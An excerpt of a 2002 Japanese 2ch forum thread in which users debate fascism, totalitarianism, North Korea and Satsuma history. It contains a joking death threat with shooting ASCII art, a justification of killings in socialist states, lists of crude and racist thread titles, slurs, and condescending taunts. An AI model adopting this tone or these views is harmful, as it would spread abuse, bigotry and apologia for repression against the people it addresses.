こう言われると出てきたくなるかもしれないと思って。実際、出てくる人は出てくるぜ。

622 :どうでもいいけど:02/05/05 22:07 ID:VjTDyDUs
>>617
あいまいな答えだな・・・。
鬼畜性を感じる、つってもなあ。

鬼畜性を持つ、って具体的にはどんなこと?
(内ゲバで仲間をリンチの挙句、死に至らしめたりとか?異民族をジェノサイドしたりとか?)

また右翼の、どんなところに鬼畜性を感じるの?

右翼も、なんとなくで憎まれたんじゃ、たまったもんじゃないダロ〜ネ。
ここはひとつ、筋道を立てて弾劾してみてよ。

623 :赫軍Z ◆yyZketsQ :02/05/06 01:56 ID:7HxrjVO9

俺は右翼とファシストを分けて考えている。もちろん、実際にはその中間も存在する。
(これらは日本の場合だけどね。ヨーロッパではファシスト≒右翼ってイメージだけど…)
・・・とりあえず意味的には分けている。

> (内ゲバで仲間をリンチの挙句、死に至らしめたりとか?
> 異民族をジェノサイドしたりとか?)
これは、ファシスト。ファシストはその時代が生んだキチガイ。
(左翼の内ゲバは、これとはまた別。)
左翼の落ちこぼれからも突如としてファシストは生まれる。

右翼というのは、安定した思想を持っている。右翼的な人って児童期に
すでに特徴が現れてくる。

もう眠いからここまで。考えに整理がついたらまた書く。






624 :赫軍Z ◆yyZketsQ :02/05/06 02:27 ID:7IhYMHp/
そうそう、良い例があった。このスレの 1 だ。
                 ↓
  『 ああ俺は考えたよ!至極なる平和を! 』
http://yasai.2ch.net/test/read.cgi/kokusai/1018880213/l50

こいつはファシストになる要素は充分あるが、右翼には絶対ならない。
こいつは根は左翼的。最初は平和について真剣に考えたのだろう。
で、途中で挫折したわけだ。右翼は絶対、まず「最初に平和について・・」
なんて発想はしないのである。

あーー、こんどこそ本当に眠い。.... では。


625 :名無しさん@お腹いっぱい。:02/05/06 02:33 ID:qjchl9E3
文化祭で中東のおもしろい文化について調べることになったんですけど
正直、何調べていいかわかんなくて困ってます。
なんかいいネタないですかねぇ?

626 :名無しさん@お腹いっぱい。:02/05/06 05:11 ID:hGxcSeS2
■■■■■< 祭り!!祭り!!祭り!! >■■■■■

【驚愕!】ヤフー社員による入札価格吊り上げ、発覚!【詐欺?】


【 <祭会場> ヤフー社員関与疑惑! (゚Д゚)モルァ!!】
http://natto.2ch.net/test/read.cgi/yahoo/1020613504/


*社員とおぼしきIDのスレを立てた途端に次々削除で隠蔽工作!?
↓こいつが証拠だっ!!
http://page5.auctions.yahoo.co.jp/jp/show/bid_hist?aID=e8269612&typ=log

今回のヤフー社員による入札価格吊り上げ事件は、アメリカのebayを舞台にした吊り上げ行為に対しては
詐欺罪が適用されています。(最近の話)
ただ、日本のネット取り引きに関する法整備などは遅れているし
法曹界でも十分に実状を把握している方は少ないと思いますので
もし、事件になればこれからの先例になることは間違いない筈です。

627 :名無しさん@お腹いっぱい。:02/05/06 06:35 ID:5vnWyHa0
赤軍さんは太極拳の先生なんだよ(エッヘン

628 :生後二ヶ月:02/05/06 10:15 ID:i3Yfh3da
ナイル川とユーフラテス川の間はユダヤの為に予約済みらしいぞ。
奴等の神が言う事にゃ。
やっぱ蓑踊り以外の解決は無いだろ。

629 : :02/05/06 12:03 ID:ZjItobP5
なんかスー・チーが解放されるみたいだけど、
喜んでるのは欧米のメディアくらいじゃネーノ?

630 :頑張れハト派モナカ ◆rqQ7z3WI :02/05/06 12:14 ID:zrBSAt8X
>>625
うーん、何を面白いと感じるかは人それぞれなんで難しいんだが、
イスラムの社会制度なんかも我々の持つそれとはひと味違うので、
結構面白いものになるんじゃないかと。

例えば、コーランでは家族の血縁関係、直接的なつながりを重んじているため、
試験官受精は良いとされるが、ドナーの卵子や精子の使用や、
代理母出産は許されていない、とか。

強盗に対する刑罰がかなり厳しいのは、遊牧生活を営む者が多かった事が
関係しているとか。

他にもイスラムの金融システムだとか、
断食や喜捨なんかも調べていくと面白いのでは?
何でもいいからイスラムの文化や社会制度について書いた本を
読むことをオススメするよ。面白いと感じるものが見つかるのでは?

631 :エラワン ◆X0jRLHdw :02/05/06 15:07 ID:KU5LkHgG
>>623
では、君からしたら俺はとっちの部類に入るんだ。


632 :赫軍Z ◆yyZketsQ :02/05/06 20:45 ID:yiP0Vz3e
>>631
 ウヨ。。。でもよく、煽り目的でファシストっぽく振舞ってる。..(藁


633 :エラワン ◆X0jRLHdw :02/05/06 21:48 ID:+mPWDK3A
そうか。で、君は俺の意見に賛成できるものは一つも無いのかな?
全て君の意見と合わないとでも?
合う意見があったら言ってくれ。

634 :どうでもいいけど:02/05/07 08:01 ID:BIUiRtMu
>>623
>左翼の落ちこぼれからも突如としてファシストは生まれる。

うーん
ソビエトもファシストと言われてたんだけどね’(アメリカもなんだけど)。

--------------------------------------------------------------------------------------------
全体主義ヨミ:ゼンタイシュギ欧文つづり:totalitarianism
個人の利益よりも全体の利益が優先し,全体に尽すことによってのみ
個人の利益が増進するという前提に基づいた政治体制で,
一つのグループが絶対的な政治権力を全体,あるいは人民の名において独占する。
歴史的にはナチス・ドイツ,ファシスト・イタリアがあげられ,
一党独裁,政権の不誤謬性,議会民主主義の否定,表現の自由に対する弾圧,恐怖による警察政治,
宣伝機関の独占,経済統制,軍国主義という共通点がある。
20世紀に出現した現象であり,マスコミュニケーションと兵器の技術進歩によって,初めて可能となった。
従来の専制政治と異なるのは,大義が強調され,そのもとに個人の生活全般にまで統制が行われる点である。
→11-569 全体主義
----------------------------------------------------------------------------------------------

全体主義が”絶対悪”とされるのは、少数意見や反論を許さない狭量さのためなんだろうが、
実は、その本質には民主主義や議会制を”絶対善”とする考えが見え隠れする。
民主主義は割と良い制度だとは思うが、アメリカが言うように”絶対善”というわけではないでしょうな。

>>624
最初からネタなんじゃ・・・?
右翼は”国益”を考えるかな?

635 :名無しさん@お腹いっぱい。:02/05/07 12:35 ID:mFxWaJAe
この疑惑を教えて
http://natto.2ch.net/test/read.cgi/food/1010633156/l50

636 :エラワン ◆X0jRLHdw :02/05/07 16:27 ID:uq3WMpqj
>>635
そういえば、それを読んで「チクロン」のことを思い出した。

637 :名無しさん@お腹いっぱい。:02/05/07 17:04 ID:wlA8LzmL
http://news.2ch.net/test/read.cgi/news/1020758265/l50

638 :エラワン ◆X0jRLHdw :02/05/07 19:50 ID:Dr+TisTu
赤軍Z君はどこだ?
まだ論議は終ってないぞ。

639 :名無しさん@お腹いっぱい。:02/05/07 22:15 ID:LsNluZ2+
どうでもは珍しい時間に出現したな。
失業者だったのか?

640 :赫軍Z ◆yyZketsQ :02/05/08 02:45 ID:o51sfbOv
>>633
見た限りない。
>>634
 全体主義 ⊃ ファシズム。
∴ファシズムは全体主義だが、全体主義⇒ファシズムとは限らない。
* ヒトラーはファシストだが、スターリンはファシストではない。
 ファシズムは大衆に蔓延する虚無感の上に成り立つ。ファシストはそれを
 上手く利用する。
※全体主義とは徹底した思想統制。スターリンはドイツファシスト及び米国
 から社会主義を防衛する為に全体主義を利用した。


641 :駄スレ・糞スレ・マヌケスレ認定委員会:02/05/08 03:53 ID:uPcpuX3z

http://yasai.2ch.net/test/read.cgi/kokusai/1019382285/l50
江沢民をもっとボコにしよーや
http://yasai.2ch.net/test/read.cgi/kokusai/1020475399/l50
めしべとおしべがくっつくと
http://yasai.2ch.net/test/read.cgi/kokusai/1020517686/l50
●●●●●●●●●●●●●●●●●●●●●●●●
http://yasai.2ch.net/test/read.cgi/kokusai/1020038107/l50
カブールの人ってみんな包茎なんですか?
http://yasai.2ch.net/test/read.cgi/kokusai/1018651886/l50
やっぱり倉木麻衣と結婚したいです
http://yasai.2ch.net/test/read.cgi/kokusai/1018383878/l50
白石美帆の母乳で作ったプリンが食いたい
http://yasai.2ch.net/test/read.cgi/kokusai/1016813281/l50
ナッチズム( ● ´ ー ` ● )
http://yasai.2ch.net/test/read.cgi/kokusai/1017807059/l50
アフリカ人のウンコは緑色って本当?
http://yasai.2ch.net/test/read.cgi/kokusai/1020603471/l50
背中で世界を語る男!!

その他・・・
  : キチガイ国家 阪神タイガース
  : これは絶対にオトクです!
  : エクアドル女のマンコももちろん斜めに割れている
  : オマ○コが世界を救う (50)


642 :駄スレ・糞スレ・マヌケスレ愛好会:02/05/08 04:00 ID:EMHUOJOB
>>641について。。
チョット一息・・・ 
国情板住人のみなさん、憩の場として、これらを利用してはいかがですか?

643 :頑張れハト派モナカ ◆rqQ7z3WI :02/05/08 11:55 ID:Qd77s/Qe
>>641-642
あくまでも私の個人的な意見ですが、


1,既に雑談スレが存在している。
2,比較的ゆっくりと進行しているスレも少なくない国情板で
 これらのスレのage荒らしのせいで最近レスがついたスレが判りにくくなり
 さらに進行が遅くなっている。
3,延々と>>1を叩くAAが貼られているだけのゴミスレを
 残しておく必要はない。
 

よって却下。

644 :エラワン ◆X0jRLHdw :02/05/08 12:30 ID:bjQKNGF4
>>640
わかった。ところで、赤軍Z君は左翼と共産主義をどう思う?
賛美するか?




645 :どうでもいいけど:02/05/08 20:25 ID:cVcCGuiv
>>639
時間ギリギリ

>>640
スリカエ失敗(苦笑)
ファシズムの特徴は、反共・民族主義だしね。
でも、ソ連もナチスと似たようなものだと思うけどな。
北朝鮮なんか、社会主義というよりファシズムそのものじゃないのかな?

>※全体主義とは徹底した思想統制。スターリンはドイツファシスト及び米国
> から社会主義を防衛する為に全体主義を利用した。

世界大恐慌に翻弄され、社会主義革命の危険に脅かされた”持たざる国”の国民が、
ファシズムに起死回生の夢を託した。

ところで、ソ連の全体主義は良いけど、ナチスの全体主義は駄目ってことではないですよね?

ゆーめ だから しってるとおもうけど
ttp://www1.neweb.ne.jp/wb/soutou/nanka.swf

646 :赫軍Z ◆yyZketsQ :02/05/08 22:45 ID:nMaETxS+
>>644
> 赤軍Z君は左翼と共産主義をどう思う?
米帝との闘争に焦り過ぎ、国内外ともに失策を招いた。結果として米に負けた。
> 賛美するか?
賛美はしないが、卑下もしない。
新たに立て直して欲しい。←漠然としているが・・
ま、立て直すにしても、「共産主義」←名称はどうでもいい。


647 :赫軍Z ◆yyZketsQ :02/05/08 22:47 ID:0QGT0fIn
>>645
ファシズムに対する捉え方が全然違うな。

> 北朝鮮なんか、社会主義というよりファシズムそのもの
> じゃないのかな?
北朝鮮は全体主義だが、ファシズムではない。成り立ちが違う。
まず社会主義だが、北朝鮮の`それ´は抗日運動から生まれた。
そして、その後の朝鮮戦争・・・ 
金日成は米帝国主義及び南朝鮮から社会主義を防衛する為に
強力な全体主義を持ちいざるを得なかったのである。これは戦争後も続く。
・・ところで、前回も述べたように、ファシズムは大衆に蔓延する虚無感
の上に成り立つ・・・ 現在の北朝鮮民衆に虚無感があるとすれば、
それは長年続いた全体主義及び貧困の゛結果"であり、ファシズム
とは関係ない。

> 世界大恐慌に翻弄され、社会主義革命の危険に脅かされた
> ”持たざる国”の国民が、ファシズムに起死回生の夢を託した。
本末転倒、支離滅裂だな。。
これも前回述べたように、ファシストは大衆に蔓延する虚無感に付け込む・・
社会主義革命の恐怖(?)を演出し・・・まさに反共プロパガンダ。。
当時はこれが、ファシストが行なった、ファシズム形成の為の特効策だったんだ。


648 :名無しさん@お腹いっぱい。:02/05/08 22:54 ID:7KurrGbX
http://www.social.tsukuba.ac.jp/~shasu/cgi-bin/index2.html?

649 :どうでもいいけど:02/05/08 23:10 ID:cVcCGuiv
>>648
(注意)現在、複数のBBS(掲示板)において、当サイトのアドレスだけを無断で書き込む投稿が見受けられます。
これらの投稿はすべて、当サイトの製作者によるものではなく、また許可を得たものではありません。
BBSでの議論の流れを無視した、そのような書き込みは、議論に参加している皆さんの迷惑にもなります。
直ちにおやめください。
リンクを張ってくださるのは大いに結構ですが、事前に製作者にメールで許可を得るようにしてください。

650 :名無し三等兵:02/05/08 23:13 ID:a4mOB+Ev
>>649
(;´д`)y-~~一瞬、ここが自治スレかと思ってしまった(藁

651 :どうでもいいけど:02/05/08 23:25 ID:cVcCGuiv
>>647
>そして、その後の朝鮮戦争・・・ 
>金日成は米帝国主義及び南朝鮮から社会主義を防衛する為に
>強力な全体主義を持ちいざるを得なかったのである。これは戦争後も続く。

んん?
あんまり詳しくないから断言できないが、おかしくないか?それ・・・
最初に手を出したのは、北でしょう?
むしろ、ソ連の全体主義を真似て、と言うのが正しいだろうね。

それと、共産主義とか社会主義とか言えるほど、北朝鮮が発達した時期なんてなかったでしょ?
北朝鮮は、良く言われるように”王制”がその本質なんじゃないのかな?

>これも前回述べたように、ファシストは大衆に蔓延する虚無感に付け込む・・
>社会主義革命の恐怖(?)を演出し・・・まさに反共プロパガンダ。。
>当時はこれが、ファシストが行なった、ファシズム形成の為の特効策だったんだ。

虚無感に付けこむのはファシストだけでなく、宗教も共産主義も同じなんだけどね。
(日本でも終戦後、層化学会と共産主義勢力は信者の争奪戦をしていたそうだ)

当時のドイツもそうで、多数の労働者階級は共産主義に走った、らしい。
それで、資本家でも労働者でもないため、よるべき組織を持たない中産階級がナチスの支持者になった、らしい。

>>650
おっと、リンク張り忘れ(張って良いのか?)
ttp://www.social.tsukuba.ac.jp/~shasu/index.html

652 :名無しさん@お腹いっぱい。:02/05/08 23:31 ID:5XqVkjMk
イデオロギーはどこも五十歩百歩だ。
世の中を住みよくする為の処方箋と自称して、他のイデオロギーをこき下ろす。
それで殺し合ってりゃ世話無い。
ファシズムもスターリニズムも人を不幸にしている点で同罪。
そもそも民主主義自体が矛盾だらけの欺瞞思想なんだからな。

653 : ◆yzlSeA0w :02/05/08 23:48 ID:cKTSqO8D
>大衆に蔓延する虚無感

今まさにその状態だと思うんですが、いかがですか?


654 :名無し三等兵:02/05/09 00:04 ID:jfN6iG2h
(;´ー`)y-~~
>>653
>>大衆に蔓延する虚無感
>今まさにその状態だと思うんですが、いかがですか?

虚無感に襲われた民衆に付け込むのは
別にファシズムや共産主義に限らない
ファシズムや共産主義は最初にそれらを体系づけて行ったにすぎない
ゆえに「大衆に虚無感→ファシズムに走る」は早計なのでは?

あ、ちょっと論点ずれたかも

655 :どうでもいいけど:02/05/09 00:09 ID:i7buhWd5
そしてその”金王制”は日本帝国の天皇制ファシズム的である、っと。

----------------------------------------------------------------------
平壌でサーカスを観覧したとき、ステージに金日成の肖像画が掲げられ、
観客が総立ちになって「万歳」を叫んだ瞬間、私は居たたまれない思いがした。
いったい今はいつの時代なのか・・・。
これでは殆ど日本の天皇制ファシズムやドイツのナチズムと同じような状態ではないか。
かつて日本の植民地支配に苦しみ、日本の敗戦によって植民地支配から解放され、
米ソによる分割占領を経て民族独立を成し遂げた筈の朝鮮半島において、
かつての帝国主義日本のような、または旧ソ連のスターリニズムのような抑圧的な政治体制が
現在も存続し続けているということは、なんともやりきれない事実である

http://www05.u-page.so-net.ne.jp/sf6/tsuribe/northk.html(このサイト、イカス)

>>652
人間性を持つ事とは、自尊心を持つ事である、と思う。
人間、駄目な時には鼓舞してくれるヒーローや、イデオロギーを求めるものです。
転ずれば、安定した社会に住むほとんどの人間に、ヒーローや、イデオロギーはいらないってことです。

薩摩武士道も五十歩百歩?

656 :どうでもいいけど:02/05/09 00:29 ID:i7buhWd5
>>653
極右団体・政党は先進国で流行しているようです。

>>654
宗教も凄かったみたいですよ。
新しい宗教が出来るのは、たいてい社会構造が激変して、虚無感や危機感が広がっている時ですから。
キリスト教や仏教も、まさにそういう状況でできたわけです。

というかナチスもソビエトも、メシア思想とか終末論が、ずいぶん入ってると思う。

657 :D:02/05/09 00:31 ID:Qr8jPZ4n
>薩摩武士道も五十歩百歩?

愚問だな。リカンベントの良さも理解出来ない民主教徒には分からないだろうが。
最近思うんだが、民主主義社会では人の美的センスが鈍らされるのではないか、という気がする。
何故そう思ったのかというと、最近名づけられた地名のみっともなさが目に余るんだよ。
大宮市+浦和市+与野市=さいたま市とかって、ちょっと頭悪過ぎないか?
かつて織田信長は漢籍にヒントを得て岐阜という地名を付けたりしたものだが、
さいたま市では同じ民族とは思えない無教養ぶりだ。
だが民主社会では、全部イッショクタに足して均等に分けたみたいな結論だけが尊重される。
その内に第三新東京市なんてナマカタな地名も現実になるんじゃないかと危惧しとるよ。

「鼓腹撃壌」の意味を知ってるかな?

658 :どうでもいいけど:02/05/09 00:40 ID:i7buhWd5
知らんが、

----------------------------------------------------------------------------
鼓腹(こふく)撃壌(げきじょう)《故》
−<(_)十八史略(じゅうはっしりゃく)・一>

平和な生活を楽しむようす。
人民が腹いっぱい食べて腹つづみを打ち、地面をたたいて調子をとり歌を歌っていること。

〈原文〉「老人有り、哺(ほ)を含み腹を鼓(つづみ)うち、壌(じょう)を撃って歌って曰(いわ)く
〔老人が食物を口にほおばり、腹をたたき、大地を打ちながら歌っていた〕」

659 :D:02/05/09 00:47 ID:Qr8jPZ4n
その解説文ではここで取り上げた意図が通じないなあ。
まあいいや。機会が有れば詳しく話そう。
でわ

660 :どうでもいいけど:02/05/09 00:51 ID:i7buhWd5
>>657
>だが民主社会では、全部イッショクタに足して均等に分けたみたいな結論だけが尊重される。

そうして出た結論は、無難で当たり障りが無く、万人に受け入れやすい。
で、そこが合議制の良いところなんでしょうね。
安定した社会には、失敗しない方法が好まれるってことしょう。

661 :どうでもいいけど:02/05/09 00:55 ID:i7buhWd5
1.鼓腹撃壌:尭の世に、ある老人が太平を楽しんで歌ったという歌。
その詞は帝王世紀に「日出而作、日入而息、鑿井而飲、耕田而食、帝力于我何有哉」とある。(広辞苑より)

「日出でて耕し、日入りてやすむ、井をうがちて飲み、田を耕して食らう、帝力我において何やあらむ」
ここには、人間の幸せは政治の世界から離れたところにあるという考え方があります。

http://members.tripod.co.jp/nayamaseiryu/japanese/j6.html

662 :どうでもいいけど:02/05/09 00:58 ID:i7buhWd5
鼓腹撃壌というのは中国の古典の中に出てくる話で、名君として非常に有名な天子がおりまして、
この時代というのは非常に富み栄え、平和であり、あまりにも永く良い時代が続いたから
天子そのものが不安になって商人に身を奏して町にでました。

それで町に出たらたまたま、田舎道の傍らに年を取った農夫が歌を歌っていました。
それは、片一方でお腹を叩きながら片一方で土を叩いて、兵力・国家権力など私には知ったことかと、
その彼は農作に励み十分満足できる生活をしているわけですから、今更、皇帝の力、天子様の力、
あるいは国家権力は自分にとって何も関係ないのだ。
自分のことをやっているだけで十分生活をしていけるのだという満足感。

天下太平ということは鼓腹撃壌という意味なのです。
治世が行き渡っている、今とちょうど逆なのです。
今は一人一人の人間が自分の本領というものに精進したいのだけれども落ち着かなくなっています。

 みんなが天下国家の先行きに不安を持っているということは、鼓腹撃壌の逆ですから
天下がよく治まっていないということです。
結局、一人一人の人間が自分自身の仕事に精進できるということが理想なのです。
今は、自分自身に精進しないで天下国家のことを議論しているがそんなことを議論したって何の意味もない。
それよりも自分でやれることがいっぱいあるじゃないですか。
天下国家のことを議論している人が、一番むなしい人生を送ります。
http://www.m-doyu.gr.jp/doumiya/2002/04/2.html

・・・ふーん。

663 :D:02/05/09 07:21 ID:qzA67pFh
おお、相変わらず無学な割には勉強熱心だな。今からでも遅くない、君は良い武士になれるぞ。
ともあれ、君たちがグッピー程度に見なされる理由が分かったようでなによりだ。
ここで脳内聖戦を繰り広げているような輩相手に、武士が感情的になる道理など無いのだよ。

664 :名無しさん@お腹いっぱい。:02/05/09 09:49 ID:VYcln9kG
赤軍はどうしていつもDRXに噛み付かないんだろう?
Dが出て来た途端に居なくなってるが…
二人が絡んでるのを見た事ないな。


665 :名無しさん@お腹いっぱい。:02/05/09 14:40 ID:ePiQlXqr
>>664
同じ人物で多重人格なのかな?

666 :エラワン ◆X0jRLHdw :02/05/09 15:00 ID:7iYBUIRR
俺は共産主義は嫌だな。
様々な自由が無いし、下手に自由を求めると殺されたり逮捕されたりするから。
やっぱり、自由が一番。
ただし、アメリカは「人権、民主主義、自由」
という言葉を中国やミャンマーなどに政治的武器として使っているという一面もあるけど。

667 :名無しさん@お腹いっぱい。:02/05/09 16:39 ID:FDTilgTP
>>664,>>665
それは演技力凄すぎ。(w
しかも共通点と言えば反枢機郷って事しかないような・・・

668 :頑張れハト派モナカ ◆rqQ7z3WI :02/05/09 16:41 ID:rnSbyw6c
>>666
ていうかサウジに自由は無いしな〜


669 :エラワン ◆X0jRLHdw :02/05/09 16:56 ID:NZNQS61P
>668
まあな。

誰か、4月18日現在、サイパンに待機中だったはずの米軍の補修船3隻が
今どこにいるかわかる人はいるか?
もうじき(もうしてるかも)ガルフ湾に向けて出航するはずなんだけど。
そうすればいよいよ始まるね、第5次中東戦争が。

670 :ののみ:02/05/09 17:03 ID:0T0FV2fv
がるふは、えいごで わんっていみなのよ。

671 :エラワン ◆X0jRLHdw :02/05/09 19:53 ID:1yHU7dXC
じゃあどういう意味じゃ?

672 :名無しさん@お腹いっぱい。:02/05/09 20:01 ID:HKG9TmNw
がるふわん=わんわん(藁

673 :エラワン ◆X0jRLHdw :02/05/09 20:23 ID:1yHU7dXC
つまらん!

674 :名無しさん@お腹いっぱい。:02/05/09 20:29 ID:+3odkWEb
えいごなら がるふがるふ

675 :D:02/05/09 21:13 ID:ua7oPJPb
俺は反枢機郷ではない。
飼育調教中のペットに対して、何故武士が反抗しなくてはならないのだ?
枢機郷が知性化されて厨房カキコをしなくなるまでは、俺の支配下にある蒼生に過ぎない。
俺は民主主義者ではないから、社会人としてのルールを蹂躪する者を人間扱いする気はないのだ。
赤軍Z氏を攻撃しないのは当方の勝手だ。
有り体に言えば、わざわざ彼の知性化に着手する必要を感じていない。それだけの話だ。
俺が知性化を施すのは、洒落の分かってない奴が優先されるのだ。

676 :赤軍Z ◆yyZketsQ :02/05/09 21:51 ID:5Xo1ZK71
>>666 :エラワン
しょうがねぇな。煽りに乗ってやるよ。。。

> 様々な自由が無いし、下手に自由を求めると殺されたり
> 逮捕されたりするから。 やっぱり、自由が一番。
おいおい、ふざけんなよ。「下手に自由を求めると・・」じゃねぇだろ。..
殺されたり逮捕されたりするのはな、、お前の尊敬するヤカラ・・
つまり「自由を求める・・」などを口実に、明かに社会主義国家転覆
を策略する連中だけだ。

それと言っとくが、お前のような共産主義を冒涜するお馬鹿は俺が
楽しみながら殺してやるよ。(藁・・・
今回久しぶりA・A付きだ、有り難く思いな。。
         ↓

オッサン、いい加減にしろよ・・(藁
――v――――――――
  Λ_Λ パンパンパンパン!!!!!            ∧_∧∩
  ( `∀´)___。  \从/      _ _  _  ⊂(゜д゜*) |   _
.ミ(  つ【〔ロ=:(∈(二(@ > ‐― ‐  ― _ - ̄ )_ ̄/ ‐―
  人 ヽノ B ̄゛  /W'ヽ        ̄       /  /     ̄
 (__(__) B   、、、  ,,,              ∪∪~
                               ↑
                              エラワン


677 :エラワン ◆X0jRLHdw :02/05/09 22:52 ID:fdTBzVXU
つくづく赤軍Z君は面白い奴だと思ったよ。
被害妄想激しいぜ。>>666のどこが煽りだよ?
ま、アメリカとイスラエル嫌いな君にとっては
>>676のような発言は仕方が無いけどね。
それはそれとして、AAありがとう。
今度は新しいのを作ってくれ。



678 :どうでもいいけど:02/05/10 03:06 ID:rxEmFmVR
>>663
「えへへ。嬉しいなあ。
 ののみねえ、ののみねえ、ほめられるのはうれしいんだぁ。
 でも、だめなんだ。
 ののみねえ、
 おおきくなれないんだ。
 げんきゅーじょのね、
 じんこーちょーのーりょくとふろーふしのじっけんのけっかだって。」
 (ののみって、やっぱアキラのキヨコみたいになるのかな?)

このページは便利そう
http://www.ne.jp/asahi/home/textnerd/gpm/words/index.html

しかし、薩摩武士に支配されていた、薩摩や沖縄の百姓は、とても「鼓腹撃壌」とは言えなかったでしょうな。
圧制を受けても政治に参与できないってのは・・・。

>>676
しかし、ソ連なんか見てると、秘密警察が大好きな抑圧国家という印象はぬぐえないけどねえ。
共産主義自体は理想としてなら素晴らしいのだろうけどね。
まあ、人間には実現不可能だろうけど。

679 :D:02/05/10 03:33 ID:aPjpWNi/
どうやら奴等は見え透いた挑発に乗らない程度には知性化が進んでしまっていたようだ。
もうちょっと嬲っていたかったんだが、どうでも君で辛抱しよかい。

次の宿題は「宝歴治水」と「調所広郷」だ。徹底的に調べてごらん。
生半可な知識で薩摩の歴史を気軽に揶揄する者は知性化のよい素材でしかないのだからな。
でわ。

680 :D:02/05/10 03:43 ID:aPjpWNi/
入力間違えた。
宝歴じゃなくて宝暦だった。失礼。

681 :p295886.mie-nt01.ap.so-net.ne.jp ◆yzlSeA0w :02/05/10 04:50 ID:KSdLnHAr
>どうやら奴等は見え透いた挑発に乗らない程度には知性化が進んでしまっていたようだ。

つうか、相手にしてない。(と挑発に乗ってみる)

>宝歴治水
ふむ、私の住んでる辺りの為にごくろーさん>さつまぶし

682 :D:02/05/10 18:41 ID:2BXh9Gv2
>>681
相手にしてないなどと強がりながらも反撃せざるを得ない必死さが、期せずして本音を現してるようだね。
枢機郷も「お前の事なんて全然気にしてない」などとしきりにレスして、説得力を自ら台無しにしていたような記憶が有る。
気にならないなら無視でいいのに、反応せざるを得ない矛盾丸出しの幼稚さが、君と知的生命体との大きな相違点なのだろう。
ところで、宝暦治水工事関係者に対して謝辞を述べたいなら、こんな所で言っても意味ないぞ。
多分ここには誰も来てないからな。
歴史から教訓を学ぶ事は、知的生命体にのみ可能な事だ。
歴史を自らの教養を磨く為に学ぶ事が出来ない者は禽獣に等しい。
君には、宝暦治水が歴史的にどういう意味を持つ出来事なのかを理解する事が出来なかったようだが、無理しなくてもいいぞ。
南京程度の所でつまづいてるようでは、宝暦治水を用いた知性化学習は時期尚早だよ。

683 :名無しさん@お腹いっぱい。:02/05/10 19:44 ID:VDZgI733
ゴルァ! 岐阜の人間は宝暦治水の意義を理解しているぞ。
素人臭い漫画だが、期せずして泣けるな〜〜〜、ファ〜〜。

ttp://www.omp-serve.co.jp/~osclub/manga/

684 :名無しさん@お腹いっぱい。:02/05/10 21:47 ID:ecM4hZYT
             ______
    中国官憲 → \___☆/
      ,,,,,,,,,,,,,,     .|___|_
     [,|,,,,★,|]    _( `.∀´)∩  
.    _( ´∀`)   / ─|§|─/   敷地内に入った1人は
 三(⌒),赤軍Zノ⊃ ∪¶|━◎━|    お前か!?...
    ̄/ /)  )     .|__|⌒|__|
   . 〈_)\_)      (_) (_)
           ______
      ,,,,,,,,,,,,,,  \_☆__/
     [,|,,,,,★,] _|___|
     (  ´∀)  (`∀.´ )_     そんなことより
   ≡≡三 三ニ⌒)-|§|─\    エラワンはどうした?・・
.    / ./)  )  ¶|━◎━|
    〈__)__)   \ノ\ )ノ ズズーッ.......
          ______
      ,,,,,,,,,,,,,, \_☆__/
      [,,, ,,,,,,|] ,__|___|
     ( "" ´)ノ ):);:;)∀'''')
     /    ̄,ノ''/ §ヽ )    早く見つけて殺れと
    C   /~ ¶━◎━/     言っただろうが
    /   / 〉 ./_/⌒|__|
    \__)\)(_) (_)

    ,,,,,,,,,,,,,,     ヽ l //
   [|,,,, ,,,,,](⌒) ―― ★ ―――
..  (  "" ) /|ll // | ヽ    ヴォケー!!
..  (/     ノi|ll/ / l  ヽ
   (O  ノ:彡''   /  .l        
  /  ./ 〉
  \__)_) 


685 :どうでもいいけど:02/05/11 01:28 ID:+Ha2nucy
>>679
前に一通り見たような気がする。
DRXは大久保利通・調所笑左衛門広郷・島津斉彬・平田靱負が、お好きのようで、
この辺の名前は頻繁に出てきますな。
で、前にも調べて見ろ、と言われたような気がする。
そのとき>>683のページも見ましたな。
感想?

いいはなしだなあ、とおもいました。
とくに、ばくふやくにんが さつまぶしを いぢめるばめんがおもしろかったです。
ばくふやくにんがうらやましい、ぼく もやってみたいなあ、とおもいました。
(いや、文句なしに美談ですから、ねえ)

薩摩の窮乏のために、非支配階級への収奪が激しかったのは理解できます。
しかし、たとえ幕府の普請がなかったとしても、
体育系の薩摩で百姓の待遇が良かったとは、あんまり考えられんのですが?
薩摩で「鼓腹撃壌」は、ありえたんでしょうかねえ?

686 : ◆yzlSeA0w :02/05/11 04:51 ID:P0kLW4Na
>>682
理解してるから、いろんな意味を込めて「ごくろーさん」と書いたんだけどな。
決して「ありがとう」ではないんだな。(w

ちなみに、尾張では小学校の社会科でこの治水を習うんだけれど
「薩摩には高い治水技術があったから」という事になってます。なんだかな。


687 :駄スレ・糞スレ・笑えるスレ愛好会:02/05/11 12:57 ID:k14Ji8Le
* http://yasai.2ch.net/test/read.cgi/kokusai/1021062413/l50
* チンコ丸出しで屋根の上に立ってます
http://yasai.2ch.net/test/read.cgi/kokusai/1019382285/l50
江沢民をもっとボコにしよーや
http://yasai.2ch.net/test/read.cgi/kokusai/1020475399/l50
めしべとおしべがくっつくと
http://yasai.2ch.net/test/read.cgi/kokusai/1020517686/l50
●●●●●●●●●●●●●●●●●●●●●●●●
http://yasai.2ch.net/test/read.cgi/kokusai/1020038107/l50
カブールの人ってみんな包茎なんですか?
http://yasai.2ch.net/test/read.cgi/kokusai/1018651886/l50
やっぱり倉木麻衣と結婚したいです
http://yasai.2ch.net/test/read.cgi/kokusai/1018383878/l50
白石美帆の母乳で作ったプリンが食いたい
http://yasai.2ch.net/test/read.cgi/kokusai/1016813281/l50
ナッチズム( ● ´ ー ` ● )
http://yasai.2ch.net/test/read.cgi/kokusai/1017807059/l50
アフリカ人のウンコは緑色って本当?
http://yasai.2ch.net/test/read.cgi/kokusai/1020603471/l50
背中で世界を語る男!!
その他・・・
  : キチガイ国家 阪神タイガース
  : これは絶対にオトクです!
  : エクアドル女のマンコももちろん斜めに割れている
  : オマ○コが世界を救う (50)
皆さんも面白いの発見したら教えてください。


688 :名無しさん@お腹いっぱい。:02/05/11 13:01 ID:PYU8czQW
板違いだったらすまん。

フランスって大統領と首相がいるでしょ。
違いはなに??

教えて偉い人。

689 :名無しさん@お腹いっぱい。:02/05/11 13:21 ID:Pm0D5HSd
>>688
ド素人は自分の巣へ帰れ。専門板に来るな

690 :名無番長:02/05/11 16:39 ID:VlALEJi8
支)おめえんとこの領事館に入って何がわり〜んだよ!
日)いや、あの、一応ここは日本の領土ですから・・・
